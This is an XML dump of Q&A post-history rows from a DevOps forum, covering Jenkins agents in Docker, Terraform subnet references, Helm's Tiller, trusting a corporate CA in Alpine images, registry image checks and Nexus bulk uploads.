  <row Id="28959" PostHistoryTypeId="2" PostId="9681" RevisionGUID="50c89ec8-8fb8-4dbd-bdb6-4e39fa50db1e" CreationDate="2019-11-04T15:44:32.940" UserId="11527" Text="Below code snippet, taken from [here](https://github.com/jmenga/docker-jenkins/blob/master/Dockerfile#L16) creates master jenkins that runs in a container:&#xD;&#xA;&#xD;&#xA;    # Create Docker Group with GID&#xD;&#xA;    # Set default value of 497 if DOCKER_GID set to blank string by Docker Compose&#xD;&#xA;    RUN groupadd -g ${DOCKER_GID:-497} docker&#xD;&#xA;    &#xD;&#xA;    # Used to control Docker and Docker Compose versions installed&#xD;&#xA;    # NOTE: As of February 2016, AWS Linux ECS only supports Docker 1.9.1&#xD;&#xA;    ARG DOCKER_ENGINE=1.10.2&#xD;&#xA;    ARG DOCKER_COMPOSE=1.6.2&#xD;&#xA;    &#xD;&#xA;    # ......&#xD;&#xA;    &#xD;&#xA;    # Install Docker Engine&#xD;&#xA;    RUN apt-key adv --keyserver hkp://pgp.mit.edu:80 --recv-keys 58118E89F3A912897C070ADBF76221572C52609D &amp;&amp; \&#xD;&#xA;        echo &quot;deb https://apt.dockerproject.org/repo ubuntu-trusty main&quot; | tee /etc/apt/sources.list.d/docker.list &amp;&amp; \&#xD;&#xA;        apt-get update -y &amp;&amp; \&#xD;&#xA;        apt-get purge lxc-docker* -y &amp;&amp; \&#xD;&#xA;        apt-get install docker-engine=${DOCKER_ENGINE:-1.10.2}-0~trusty -y &amp;&amp; \&#xD;&#xA;        usermod -aG docker jenkins &amp;&amp; \&#xD;&#xA;        usermod -aG users jenkins&#xD;&#xA;&#xD;&#xA;-----------------------------&#xD;&#xA;&#xD;&#xA;Above container is dind that launches task(each container) on **single** EC2 host.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;---------------------&#xD;&#xA;&#xD;&#xA;To regulate load across **multiple** EC2 host and launch slave jenkins instance(on each).&#xD;&#xA;&#xD;&#xA;We would like to have `master` jenkins generate `build_id` for each build that can run on two slave jenkins instances.&#xD;&#xA;&#xD;&#xA;To have master &amp; slave jenkins run within each container, across EC2 hosts.&#xD;&#xA;&#xD;&#xA;How to approach on making slave container and take `build_id` from master jenkins?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28960" PostHistoryTypeId="1" PostId="9681" RevisionGUID="50c89ec8-8fb8-4dbd-bdb6-4e39fa50db1e" CreationDate="2019-11-04T15:44:32.940" UserId="11527" Text="How to create slave jenkins given master jenkins?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28961" PostHistoryTypeId="3" PostId="9681" RevisionGUID="50c89ec8-8fb8-4dbd-bdb6-4e39fa50db1e" CreationDate="2019-11-04T15:44:32.940" UserId="11527" Text="&lt;docker&gt;&lt;jenkins&gt;&lt;docker-compose&gt;&lt;dockerfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28962" PostHistoryTypeId="2" PostId="9682" RevisionGUID="85287c49-9e24-4e47-8f5a-56d52037a96f" CreationDate="2019-11-04T16:11:37.840" UserId="354" Text="You could use the [EC2 plugin](https://wiki.jenkins.io/display/JENKINS/Amazon+EC2+Plugin) or the [ECS plugin](https://wiki.jenkins.io/display/JENKINS/Amazon+EC2+Container+Service+Plugin) if you want to provision agents dynamically. These would provide some environment variables to use when constructing `build_id` - _e.g._ :&#xD;&#xA;&#xD;&#xA;- `BUILD_TAG`: &#xD;&#xA;&gt; String of &quot;jenkins-${JOB_NAME}-${BUILD_NUMBER}&quot;. All forward slashes (&quot;/&quot;) in the JOB_NAME are replaced with dashes (&quot;-&quot;). Convenient to put into a resource file, a jar file, etc for easier identification.&#xD;&#xA;- `NODE_NAME`:&#xD;&#xA;&gt; Name of the agent if the build is on an agent, or &quot;master&quot; if run on master&#xD;&#xA;&#xD;&#xA;You would have to configure the clouds in Jenkins, assign a label to the templates you want to use as agents, and then request those in your pipeline or job configuration." ContentLicense="CC BY-SA 4.0" />
  <row Id="28963" PostHistoryTypeId="52" PostId="9669" RevisionGUID="052fe96d-37e7-4163-aceb-a7397c828eb1" CreationDate="2019-11-04T16:35:35.857" />
  <row Id="28964" PostHistoryTypeId="2" PostId="9683" RevisionGUID="4db3b7fd-c438-4c12-be44-046aaa07a16e" CreationDate="2019-11-04T17:05:38.333" UserId="2463" Text="When you want to refer to a specific instance of a resource that has multiple instances due to using `for_each`, you need to include the specific key of the instance you want in your references:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;  subnet_id = aws_subnet.private[&quot;us-east-1a&quot;].id&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;If you just want to select any one subnet from the list, without needing to specify its name directly, you can use an expression like the following to select a single key by sorting the keys lexically and taking the first one:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;  subnet_id = aws_subnet.private[keys(aws_subnet.private)[0]].id&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;However, beware that if you do the above then any later changes to `var.subnet_numbers_private` that affect which subnet sorts first will cause a different subnet id to be selected, which will then in turn cause Terraform to plan to replace your instance to move it into a new subnet.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;From the way you wrote the question it sounds like you want just one instance in a single subnet rather than one instance _per_ subnet, but if you did want an instance per subnet then you can achieve that by putting `for_each` in the `aws_instance` resource too, using the subnet resource itself (represented in expressions as a map) as the repetition expression:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;resource &quot;aws_instance&quot; &quot;jenkins&quot; {&#xD;&#xA;  for_each = aws_subnet.private&#xD;&#xA;&#xD;&#xA;  # ...&#xD;&#xA;  subnet_id = each.value.id&#xD;&#xA;  # ...&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;In this latter case, the `aws_instance.jenkins` instances will also be identified by the keys you selected for the subnets, so you'd have instances with addresses like `aws_instance.jenkins[&quot;us-east-1a&quot;]` and `aws_instance.jenkins[&quot;us-east-1b&quot;]` so both you and Terraform can see which instance belongs to which subnet.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28965" PostHistoryTypeId="2" PostId="9684" RevisionGUID="316b7cd1-60c8-4215-b578-9dd836fe5339" CreationDate="2019-11-04T17:14:22.960" UserId="2463" Text="A Terraform module is represented by a whole directory, not an individual file. If you create a directory `./modules/queues` and move `./modules/queues.tf` to `./modules/queues/queues.tf` then you can call that module like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;module &quot;pae_queues&quot; {&#xD;&#xA;  source = &quot;./modules/queues&quot;&#xD;&#xA;&#xD;&#xA;  environments = var.environments&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28966" PostHistoryTypeId="5" PostId="9666" RevisionGUID="4deebe97-7544-4e00-a827-ae34a5d6fa74" CreationDate="2019-11-04T17:16:20.010" UserId="17989" Comment="Fix spelling in title and some punctuation/grammar." Text="Although _our own_ sources are checked out from a revision-control systems, the third-party software we depend on needs to be downloaded from their respective sites.&#xD;&#xA;&#xD;&#xA;The plugin I'm looking for would offer a &quot;Source Management&quot; (or &quot;Pre-Build&quot;) step, where I could register one (or more) sources for the same file. For example:&#xD;&#xA;&#xD;&#xA; - https://www.sqlite.org/2019/sqlite-autoconf-3290000.tar.gz&#xD;&#xA; - http://www2.sqlite.org/2019/sqlite-autoconf-3290000.tar.gz&#xD;&#xA; - http://www3.sqlite.org/2019/sqlite-autoconf-3290000.tar.gz&#xD;&#xA;&#xD;&#xA;and its digest (such as SHA256).&#xD;&#xA;&#xD;&#xA;At build- (or at a prebuild-) time, it would check its cache and, if the file is not present there, download and verify it, and make it available to the subsequent build-steps.&#xD;&#xA;&#xD;&#xA;I'm sure something like this, or very similar, exists already, but I cannot find it. Sonatype's Nexus seems to offer this, but only for files already found in one's Nexus repository, not for arbitrary URL's." ContentLicense="CC BY-SA 4.0" />
  <row Id="28967" PostHistoryTypeId="4" PostId="9666" RevisionGUID="4deebe97-7544-4e00-a827-ae34a5d6fa74" CreationDate="2019-11-04T17:16:20.010" UserId="17989" Comment="Fix spelling in title and some punctuation/grammar." Text="Is there a Jenkins plugin for downloading source code?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28968" PostHistoryTypeId="24" PostId="9666" RevisionGUID="4deebe97-7544-4e00-a827-ae34a5d6fa74" CreationDate="2019-11-04T17:16:20.010" Comment="Proposed by 17989 approved by -1 edit id of 1115" ContentLicense="CC BY-SA 4.0" />
  <row Id="28969" PostHistoryTypeId="5" PostId="9666" RevisionGUID="90337827-a51e-4bf4-99f2-faab1c96ee2b" CreationDate="2019-11-04T17:16:20.010" UserId="40" Comment="added 13 characters in body" Text="Although _our own_ sources are checked out from a revision-control systems, the third-party software we depend on needs to be downloaded from their respective sites.&#xD;&#xA;&#xD;&#xA;The plugin I'm looking for would offer a &quot;Source Management&quot; (or &quot;Pre-Build&quot;) step, where I could register one (or more) sources for the same file. For example:&#xD;&#xA;&#xD;&#xA; - https://www.sqlite.org/2019/sqlite-autoconf-3290000.tar.gz&#xD;&#xA; - http://www2.sqlite.org/2019/sqlite-autoconf-3290000.tar.gz&#xD;&#xA; - http://www3.sqlite.org/2019/sqlite-autoconf-3290000.tar.gz&#xD;&#xA;&#xD;&#xA;and its digest (such as SHA256).&#xD;&#xA;&#xD;&#xA;At build- (or at a prebuild-) time, it would check its cache and, if the file is not present there, download and verify it, and make it available to the subsequent build-steps.&#xD;&#xA;&#xD;&#xA;I'm sure something like this, or very similar, exists already, but I cannot find it. Sonatype's Nexus seems to offer this, but only for files already found in one's Nexus repository, not for arbitrary URL's.&#xD;&#xA;&#xD;&#xA;Any help?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28973" PostHistoryTypeId="5" PostId="9675" RevisionGUID="0f7c5537-8bf7-45b3-abbb-e4ec936a862f" CreationDate="2019-11-04T17:54:56.713" UserId="210" Comment="added 19 characters in body" Text="As suggested by @030, I have prepared two screenshots that show how to connect the .yml files with the build pipeline. &#xD;&#xA;&#xD;&#xA; 1. Rename the .xml file in the repository&#xD;&#xA;&#xD;&#xA; 2. Open the pipeline editor&#xD;&#xA;[![Pipeline editor][1]][1]&#xD;&#xA;&#xD;&#xA; 3. Select the file from the dropdown&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA; 4. Rename it and click on `save`.&#xD;&#xA;&#xD;&#xA;After the existing .yml is assigned, the pipeline works as before the renaming.&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/KJX7y.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/4iStF.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="28974" PostHistoryTypeId="5" PostId="9675" RevisionGUID="03b4e773-0c6b-464b-9069-39670c97574a" CreationDate="2019-11-04T18:03:08.600" UserId="17829" Comment="Its a Yml file. And it got renamed in step 1. In the last step, the file get assigned to the pipeline." Text="As suggested by @030, I have prepared two screenshots that show how to connect the .yml files with the build pipeline. &#xD;&#xA;&#xD;&#xA; 1. Rename the .yml file in the repository&#xD;&#xA;&#xD;&#xA; 2. Open the pipeline editor&#xD;&#xA;[![Pipeline editor][1]][1]&#xD;&#xA;&#xD;&#xA; 3. Select the file from the dropdown&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA; 4. Select the in step 1 renamed *.yml file and click on `save`.&#xD;&#xA;&#xD;&#xA;After the existing .yml is assigned, the pipeline works as before the renaming.&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/KJX7y.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/4iStF.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="28975" PostHistoryTypeId="2" PostId="9685" RevisionGUID="607f030d-4b03-4499-a88f-f85a8e622682" CreationDate="2019-11-04T19:57:52.467" UserId="17994" Text="See my answer [here][1]:&#xD;&#xA;&#xD;&#xA;&gt; Ran into this today when trying to use Garden.io for a cluster running in Jelastic.&#xD;&#xA;&#xD;&#xA;&gt; Found the solution in [this Github comment][2]:&#xD;&#xA;&#xD;&#xA;&gt;First acquire a local binary for Tiller (server-version of Helm), either by [compiling][3] or by [downloading it from the release page][4]. &#xD;&#xA;&#xD;&#xA;&gt; Then run:&#xD;&#xA;&#xD;&#xA;&gt; ``` bash&#xD;&#xA;&gt; $ export HELM_HOST=&quot;:44134&quot;&#xD;&#xA;&gt; $ tiller -listen ${HELM_HOST} -alsologtostderr &gt;/dev/null 2&gt;&amp;1 &amp;&#xD;&#xA;&gt; ```&#xD;&#xA;&#xD;&#xA;&gt; This will run a local version of the Kubernetes Helm Server. Now try your original command again, kubectl, that will delegate to this local Helm instead and manage to connect.&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/a/58700185/399058&#xD;&#xA;  [2]: https://github.com/helm/helm/issues/1455#issuecomment-533802309&#xD;&#xA;  [3]: https://helm.sh/docs/using_helm/#from-source-linux-macos&#xD;&#xA;  [4]: https://github.com/helm/helm/releases/tag/v2.14.3&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  " ContentLicense="CC BY-SA 4.0" />
  <row Id="28979" PostHistoryTypeId="2" PostId="9687" RevisionGUID="ec7ab609-a5db-4a73-8a03-16c9f1e1c9a1" CreationDate="2019-11-04T20:38:31.950" UserId="10718" Text="I am in a corporate environment behind a gateway that does DPI and often replaces the TLS certificate of most online resources with our corporate certificate. Many of our developers use images based on alpine linux to do their work and at peak times the network gets overloaded, builds crash because of failed `apk add` commands and whatnot. So I set up an instance of Nexus with a caching proxy for alpine apk packages.&#xD;&#xA;&#xD;&#xA;However, the Nexus is served behind TLS with a certificate signed by our internal CA which is obviously not in the list of default trusted CAs. Without doing `apk add ca-certificates` I cannot do an `update-ca-certificates` and without trusting our internal CA I cannot do `apk add`. I would like to avoid exposing Nexus via insecure HTTP.&#xD;&#xA;&#xD;&#xA;I can do a `wget our.cert.server.com/CA.crt`, but `/etc/ssl/certs` is empty and behavior doesn't change when I create `/etc/ssl/certs/ca-certificate(s).crt` and copy the certificate into there.&#xD;&#xA;&#xD;&#xA;How can I (or our developers) bootstrap alpine images for work in our network without too much of a change to our workflow?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28980" PostHistoryTypeId="1" PostId="9687" RevisionGUID="ec7ab609-a5db-4a73-8a03-16c9f1e1c9a1" CreationDate="2019-11-04T20:38:31.950" UserId="10718" Text="How do I bootstrap an alpine image to work with a private repo proxy behind TLS?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28981" PostHistoryTypeId="3" PostId="9687" RevisionGUID="ec7ab609-a5db-4a73-8a03-16c9f1e1c9a1" CreationDate="2019-11-04T20:38:31.950" UserId="10718" Text="&lt;ssl&gt;&lt;provisioning&gt;&lt;repository&gt;&lt;alpine&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28982" PostHistoryTypeId="2" PostId="9688" RevisionGUID="0f782b22-5d20-4f7b-8106-3a00019445dd" CreationDate="2019-11-04T20:42:21.280" UserId="10718" Text="It turns out that `/etc/ssl/cert.pem` is the bundle scanned by `apk` to verify a repo behind HTTPS, so the following works:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;wget our.cert.server.com/CA.crt&#xD;&#xA;cat CA.crt &gt;&gt; /etc/ssl/cert.pem&#xD;&#xA;sed -i 's,http://dl-cdn.alpinelinux.org/alpine,https://nexus-endpoint.company.com/repository/alpine-proxy,' /etc/apk/repositories&#xD;&#xA;apk update&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="28984" PostHistoryTypeId="2" PostId="9689" RevisionGUID="d5c4a399-4971-4dda-a44b-7e17beb1dc6a" CreationDate="2019-11-04T22:39:57.933" UserId="17997" Text="Does every container have an OS?&#xD;&#xA;&#xD;&#xA;For example, the base [docker python image](https://hub.docker.com/_/python)&#xD;&#xA;has a default OS in it? I couldn't find any info on Google. &#xD;&#xA;&#xD;&#xA;I am in doubt because there are some images made with Python that use the Alpine OS." ContentLicense="CC BY-SA 4.0" />
  <row Id="28985" PostHistoryTypeId="1" PostId="9689" RevisionGUID="d5c4a399-4971-4dda-a44b-7e17beb1dc6a" CreationDate="2019-11-04T22:39:57.933" UserId="17997" Text="Does every docker container has a a OS?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28986" PostHistoryTypeId="3" PostId="9689" RevisionGUID="d5c4a399-4971-4dda-a44b-7e17beb1dc6a" CreationDate="2019-11-04T22:39:57.933" UserId="17997" Text="&lt;docker&gt;&lt;containers&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28987" PostHistoryTypeId="2" PostId="9690" RevisionGUID="213cdd4d-883e-413b-88fa-e3d758f928df" CreationDate="2019-11-04T23:03:39.323" UserId="17383" Text="Your docker image could be without an OS, that's called **distroless** image.&#xD;&#xA;&#xD;&#xA;https://docs.docker.com/develop/develop-images/baseimages/&#xD;&#xA;&#xD;&#xA;https://github.com/GoogleContainerTools/distroless" ContentLicense="CC BY-SA 4.0" />
  <row Id="28988" PostHistoryTypeId="2" PostId="9691" RevisionGUID="50bc77d8-ca50-4aec-90ee-272494ab1b18" CreationDate="2019-11-05T00:01:17.673" UserId="210" Text="The docker help was consulted:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    Usage:  docker [OPTIONS] COMMAND&#xD;&#xA;    &#xD;&#xA;    A self-sufficient runtime for containers&#xD;&#xA;    &#xD;&#xA;    Options:&#xD;&#xA;          --config string      Location of client config files (default &quot;/home/ben/.docker&quot;)&#xD;&#xA;      -c, --context string     Name of the context to use to connect to the daemon (overrides DOCKER_HOST env var and default context set with &quot;docker context use&quot;)&#xD;&#xA;      -D, --debug              Enable debug mode&#xD;&#xA;      -H, --host list          Daemon socket(s) to connect to&#xD;&#xA;      -l, --log-level string   Set the logging level (&quot;debug&quot;|&quot;info&quot;|&quot;warn&quot;|&quot;error&quot;|&quot;fatal&quot;) (default &quot;info&quot;)&#xD;&#xA;          --tls                Use TLS; implied by --tlsverify&#xD;&#xA;          --tlscacert string   Trust certs signed only by this CA (default &quot;/home/ben/.docker/ca.pem&quot;)&#xD;&#xA;          --tlscert string     Path to TLS certificate file (default &quot;/home/ben/.docker/cert.pem&quot;)&#xD;&#xA;          --tlskey string      Path to TLS key file (default &quot;/home/ben/.docker/key.pem&quot;)&#xD;&#xA;          --tlsverify          Use TLS and verify the remote&#xD;&#xA;      -v, --version            Print version information and quit&#xD;&#xA;    &#xD;&#xA;    Management Commands:&#xD;&#xA;      builder     Manage builds&#xD;&#xA;      config      Manage Docker configs&#xD;&#xA;      container   Manage containers&#xD;&#xA;      context     Manage contexts&#xD;&#xA;      engine      Manage the docker engine&#xD;&#xA;      image       Manage images&#xD;&#xA;      network     Manage networks&#xD;&#xA;      node        Manage Swarm nodes&#xD;&#xA;      plugin      Manage plugins&#xD;&#xA;      secret      Manage Docker secrets&#xD;&#xA;      service     Manage services&#xD;&#xA;      stack       Manage Docker stacks&#xD;&#xA;      swarm       Manage Swarm&#xD;&#xA;      system      Manage Docker&#xD;&#xA;      trust       Manage trust on Docker images&#xD;&#xA;      volume      Manage volumes&#xD;&#xA;    &#xD;&#xA;    Commands:&#xD;&#xA;      attach      Attach local standard input, output, and error streams to a running container&#xD;&#xA;      build       Build an image from a Dockerfile&#xD;&#xA;      commit      Create a new image from a container's changes&#xD;&#xA;      cp          Copy files/folders between a container and the local filesystem&#xD;&#xA;      create      Create a new container&#xD;&#xA;      diff        Inspect changes to files or directories on a container's filesystem&#xD;&#xA;      events      Get real time events from the server&#xD;&#xA;      exec        Run a command in a running container&#xD;&#xA;      export      Export a container's filesystem as a tar archive&#xD;&#xA;      history     Show the history of an image&#xD;&#xA;      images      List images&#xD;&#xA;      import      Import the contents from a tarball to create a filesystem image&#xD;&#xA;      info        Display system-wide information&#xD;&#xA;      inspect     Return low-level information on Docker objects&#xD;&#xA;      kill        Kill one or more running containers&#xD;&#xA;      load        Load an image from a tar archive or STDIN&#xD;&#xA;      login       Log in to a Docker registry&#xD;&#xA;      logout      Log out from a Docker registry&#xD;&#xA;      logs        Fetch the logs of a container&#xD;&#xA;      pause       Pause all processes within one or more containers&#xD;&#xA;      port        List port mappings or a specific mapping for the container&#xD;&#xA;      ps          List containers&#xD;&#xA;      pull        Pull an image or a repository from a registry&#xD;&#xA;      push        Push an image or a repository to a registry&#xD;&#xA;      rename      Rename a container&#xD;&#xA;      restart     Restart one or more containers&#xD;&#xA;      rm          Remove one or more containers&#xD;&#xA;      rmi         Remove one or more images&#xD;&#xA;      run         Run a command in a new container&#xD;&#xA;      save        Save one or more images to a tar archive (streamed to STDOUT by default)&#xD;&#xA;      search      Search the Docker Hub for images&#xD;&#xA;      start       Start one or more stopped containers&#xD;&#xA;      stats       Display a live stream of container(s) resource usage statistics&#xD;&#xA;      stop        Stop one or more running containers&#xD;&#xA;      tag         Create a tag TARGET_IMAGE that refers to SOURCE_IMAGE&#xD;&#xA;      top         Display the running processes of a container&#xD;&#xA;      unpause     Unpause all processes within one or more containers&#xD;&#xA;      update      Update configuration of one or more containers&#xD;&#xA;      version     Show the Docker version information&#xD;&#xA;      wait        Block until one or more containers stop, then print their exit codes&#xD;&#xA;    &#xD;&#xA;    Run 'docker COMMAND --help' for more information on a command.&#xD;&#xA;&#xD;&#xA;The assumption was that there should be a kind of `compare` command. How could one compare a local image with one in a private registry? For example, if nginx:1.17.5 has been pulled locally and resides in a private docker registry then a command should indicated that:&#xD;&#xA;&#xD;&#xA;    docker compare nginx:1.17.5 quay.io/some-org/nginx:1.17.5&#xD;&#xA;&#xD;&#xA;the command should return:&#xD;&#xA;&#xD;&#xA;    exit 1, the docker image already resides in the docker private registry" ContentLicense="CC BY-SA 4.0" />
  <row Id="28989" PostHistoryTypeId="1" PostId="9691" RevisionGUID="50bc77d8-ca50-4aec-90ee-272494ab1b18" CreationDate="2019-11-05T00:01:17.673" UserId="210" Text="What docker command could be issued to check whether a certain local docker image resides in a docker registry?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28990" PostHistoryTypeId="3" PostId="9691" RevisionGUID="50bc77d8-ca50-4aec-90ee-272494ab1b18" CreationDate="2019-11-05T00:01:17.673" UserId="210" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28991" PostHistoryTypeId="2" PostId="9692" RevisionGUID="30e94ddf-dc78-47b1-bc90-cbce45ea423e" CreationDate="2019-11-05T00:06:25.253" UserId="4115" Text="I've done something similar to this in the past:&#xD;&#xA;&#xD;&#xA;    stage('Step Tests') {&#xD;&#xA;      steps {&#xD;&#xA;        dir('test') {&#xD;&#xA;          script {&#xD;&#xA;            try {&#xD;&#xA;              timeout(time: 5, unit: 'MINUTES', activity: true) {&#xD;&#xA;                sh &quot;yarn step-tests&quot;&#xD;&#xA;              }&#xD;&#xA;            } catch (Exception e) {&#xD;&#xA;              currentBuild.result = 'FAILURE'&#xD;&#xA;            }&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;I haven't tested this code exactly as I wrote it here, so think of this more as a kind of rough sketch rather than polished final product." ContentLicense="CC BY-SA 4.0" />
  <row Id="28992" PostHistoryTypeId="2" PostId="9693" RevisionGUID="b79a9201-b25f-4b01-acc6-077217d020fd" CreationDate="2019-11-05T00:33:08.687" UserId="210" Text="[A related Q&amp;A][1] was already created on StackOverflow back in the day.&#xD;&#xA;&#xD;&#xA;Several answers simply do a `docker pull image-to-be-checked`. If exit 0, the image exists in a certain registry. If not then the image seems to be omitted.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/q/32113330/2777965" ContentLicense="CC BY-SA 4.0" />
  <row Id="28993" PostHistoryTypeId="5" PostId="9693" RevisionGUID="d7c73a36-e49d-4702-aaf5-ebf57dd25922" CreationDate="2019-11-05T00:39:28.943" UserId="210" Comment="added 441 characters in body" Text="[A related Q&amp;A][1] was already created on StackOverflow back in the day.&#xD;&#xA;&#xD;&#xA;Several answers simply do a `docker pull image-to-be-checked`. If exit 0, the image exists in a certain registry. If not then the image seems to be omitted. However, if an image is large, e.g. X&gt;1GB or the (office) internet is slow (due to proxies), this could take a while.&#xD;&#xA;&#xD;&#xA;The best option to mitigate this is to use `docker manifest inspect docker-image` as suggested by [@morty][2] in conjunction with `DOCKER_CLI_EXPERIMENTAL=enabled` [as suggested in a comment by @ChrisDeacy][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/q/32113330/2777965&#xD;&#xA;  [2]: https://stackoverflow.com/a/52077346/2777965&#xD;&#xA;  [3]: https://stackoverflow.com/questions/32113330/check-if-imagetag-combination-already-exists-on-docker-hub#comment101216063_52077346" ContentLicense="CC BY-SA 4.0" />
  <row Id="28994" PostHistoryTypeId="5" PostId="9693" RevisionGUID="d976e47c-cf29-4f3a-b97f-ad7cdfa877f5" CreationDate="2019-11-05T00:53:26.097" UserId="210" Comment="added 334 characters in body" Text="[A related Q&amp;A][1] was already created on StackOverflow back in the day.&#xD;&#xA;&#xD;&#xA;Several answers simply do a `docker pull image-to-be-checked`. If exit 0, the image exists in a certain registry. If not then the image seems to be omitted. However, if an image is large, e.g. X&gt;1GB or the (office) internet is slow (due to proxies), this could take a while.&#xD;&#xA;&#xD;&#xA;The best option to mitigate this is to use `docker manifest inspect docker-image` as suggested by [@morty][2] in conjunction with `DOCKER_CLI_EXPERIMENTAL=enabled` [as suggested in a comment by @ChrisDeacy][3]&#xD;&#xA;&#xD;&#xA;Although this command works for dockerhub images, it fails if images have to be checked on quay.io:&#xD;&#xA;&#xD;&#xA;    unsupported manifest media type and no default available:&#xD;&#xA;    application/vnd.docker.distribution.manifest.v1+prettyjws&#xD;&#xA;&#xD;&#xA;Therefor I decided to stick to the `docker pull` approach to make the check docker-registry agnostic.&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/q/32113330/2777965&#xD;&#xA;  [2]: https://stackoverflow.com/a/52077346/2777965&#xD;&#xA;  [3]: https://stackoverflow.com/questions/32113330/check-if-imagetag-combination-already-exists-on-docker-hub#comment101216063_52077346" ContentLicense="CC BY-SA 4.0" />
  <row Id="28996" PostHistoryTypeId="2" PostId="9695" RevisionGUID="1e557500-25a9-442f-9297-e6e5520b98aa" CreationDate="2019-11-05T07:28:02.093" UserId="17622" Text="I have added **&quot;C:\Program Files\Java\jdk-12.0.2&quot;** as value of **JAVA_HOME** environment Variable and its working. I don't know exactly this is the correct solution OR Not, but when I have checked **sonar-scanner.bat** file then it's taking %JAVA_HOME%/bin/java.exe location of Java. " ContentLicense="CC BY-SA 4.0" />
  <row Id="29000" PostHistoryTypeId="2" PostId="9697" RevisionGUID="1c33ddcf-d630-458a-b695-39119867baa2" CreationDate="2019-11-05T10:01:24.380" UserId="18003" Text="Since the original question is also tagged with Nexus this is how to do bulk upload with Nexus 3:&#xD;&#xA;&#xD;&#xA;    find &lt;directory name&gt;/ \! -type d -print0 | xargs -P10 -0 -I@ curl -v --user &lt;user&gt;:&lt;password&gt; --upload-file ./@ http://localhost:8081/repository/&lt;repository name&gt;/@" ContentLicense="CC BY-SA 4.0" />
  <row Id="29008" PostHistoryTypeId="2" PostId="9700" RevisionGUID="b6e8a701-2011-4723-b316-dcbf7aae8236" CreationDate="2019-11-05T15:05:12.283" UserId="17676" Text="There should be a log group available in CloudWatch that you can refer to for information on the error. Also, there is an Execution History tab available on the left hand side that will let you see any errors that are not logged to CloudWatch. &#xD;&#xA;&#xD;&#xA;From the sounds of it there may be a problem with the source repo you have selected. It should only take a few seconds to read the repo. Very generally with AWS, many of the problems can be traced to IAM permissions.&#xD;&#xA;&#xD;&#xA;You can cancel the execution by selecting 'edit' while it is running." ContentLicense="CC BY-SA 4.0" />
  <row Id="29010" PostHistoryTypeId="5" PostId="9679" RevisionGUID="7c3cebb7-40c6-4485-9c6c-077eae5ce5ca" CreationDate="2019-11-05T16:15:20.100" UserId="17989" Comment="Clarify that I'm using declarative pipelines" Text="I have a stage in my Jenkins declarative pipeline that looks like:&#xD;&#xA;&#xD;&#xA;    stage('Step Tests') {&#xD;&#xA;      steps {&#xD;&#xA;        dir('test') {&#xD;&#xA;          catchError(catchInterruptions: true, buildResult: 'FAILURE') {&#xD;&#xA;            timeout(time: 5, unit: 'MINUTES', activity: true) {&#xD;&#xA;              sh &quot;yarn step-tests&quot;&#xD;&#xA;            }&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;The timeout activates if my tests don't output anything to the console for 5 minutes, and subsequent stages still execute, which is what I want. However, the build is still marked as aborted instead of failed, which I thought the `buildResult` parameter was for.&#xD;&#xA;&#xD;&#xA;How do I catch a timeout and mark the build as unstable or failed, instead of aborted?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29011" PostHistoryTypeId="2" PostId="9701" RevisionGUID="60607f88-b945-48d2-8bc2-aae9dc881ce8" CreationDate="2019-11-05T16:16:48.110" UserId="15792" Text="By default there is some sort of OS driving almost every container.  If you look at the [tags tab][1] on the docker python image you asked about you can see the OS that the image uses.&#xD;&#xA;&#xD;&#xA;Alpine has become a very popular base for docker containers as it is extremely small.  On the [same tags][1] tab compare the 3.5 tagged image at 344.58 MB to the 27.34 MB Alpine image.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://hub.docker.com/_/python?tab=tags" ContentLicense="CC BY-SA 4.0" />
